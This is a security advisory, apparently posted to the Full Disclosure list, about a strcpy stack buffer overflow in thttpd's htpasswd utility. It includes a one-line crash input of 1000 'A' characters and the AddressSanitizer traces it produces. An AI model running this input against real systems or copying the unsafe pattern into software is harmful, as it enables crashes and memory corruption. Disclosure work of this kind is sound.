VULNARCHIVE

thttpd v2.26 Stack-Based Buffer Overflow in thttpd htpasswd Utility Allows Local Memory Corruption

Ron E · 

*Description:*
A stack-based buffer overflow vulnerability exists in the htpasswd utility
bundled with thttpd. The vulnerability occurs due to unsafe copying of a
user-supplied command-line argument into a fixed-size stack buffer without
proper bounds checking.Specifically, the program copies the username
argument (argv[2]) into a local stack buffer using strcpy(). If an attacker
supplies an overly long username, this results in a stack buffer overflow,
leading to memory corruption and a process crash. Under certain conditions,
this may be exploitable for arbitrary code execution.

*Affected Component:*

   - File: extras/htpasswd.c
   - Function: main
   - Vulnerable line: strcpy(user, argv[2]);


*Affected Versions:*

   - thttpd prior to latest release (all known versions shipping
   extras/htpasswd.c with this logic)


*Impact: *

   - Denial of Service
   - potential arbitrary code execution


*Vulnerability Details:*
The vulnerable buffer is defined as:
#define MAX_STRING_LEN 256
char user[MAX_STRING_LEN];

*Proof of Concept (PoC):*
*Output/Payload:*
# ./htpasswd -c passwdfile testuser
Adding password for testuser.
New password:
Re-type new password:

=================================================================
==173875==ERROR: LeakSanitizer: detected memory leaks

Direct leak of 5 byte(s) in 1 object(s) allocated from:
    #0 0xffffaa4fa578 in malloc
../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:67
    #1 0xaaaade791c80 in strd /root/thttpd/extras/htpasswd.c:32
    #2 0xaaaade792794 in add_password /root/thttpd/extras/htpasswd.c:122
    #3 0xaaaade792ce4 in main /root/thttpd/extras/htpasswd.c:170
    #4 0xffffaa1d2598 in __libc_start_call_main ../sysdeps/nptl
/libc_start_call_main.h:58
    #5 0xffffaa1d2678 in __libc_start_main_impl ../csu/libc-start.c:360
    #6 0xaaaade791b6c in _start (/root/thttpd/extras/htpasswd+0x1b6c)
(BuildId: 277fa93be8cbdf6cb9a0d89d15da163bf803f5a6)

SUMMARY: AddressSanitizer: 5 byte(s) leaked in 1 allocation(s).
root@ubuntu:~/thttpd/extras# ./htpasswd passwdfile $(python3 - << 'EOF'
print("A" * 1000)
EOF
)
=================================================================
==173879==ERROR: AddressSanitizer: stack-buffer-overflow on address
0xfbffa1000120 at pc 0xffffa3214ff0 bp 0xfffff4000e10 sp 0xfffff40005f0
WRITE of size 1001 at 0xfbffa1000120 thread T0
    #0 0xffffa3214fec in strcpy
../../../../src/libsanitizer/asan/asan_interceptors.cpp:568
    #1 0xaaaad5172ee8 in main /root/thttpd/extras/htpasswd.c:187
    #2 0xffffa2f42598 in __libc_start_call_main ../sysdeps/nptl
/libc_start_call_main.h:58
    #3 0xffffa2f42678 in __libc_start_main_impl ../csu/libc-start.c:360
    #4 0xaaaad5171b6c in _start (/root/thttpd/extras/htpasswd+0x1b6c)
(BuildId: 277fa93be8cbdf6cb9a0d89d15da163bf803f5a6)

Address 0xfbffa1000120 is located in stack of thread T0 at offset 288 in
frame
    #0 0xaaaad5172a30 in main /root/thttpd/extras/htpasswd.c:149

Ron Edgerson
Vulnerability Researcher & Exploit Developer

CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development

🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/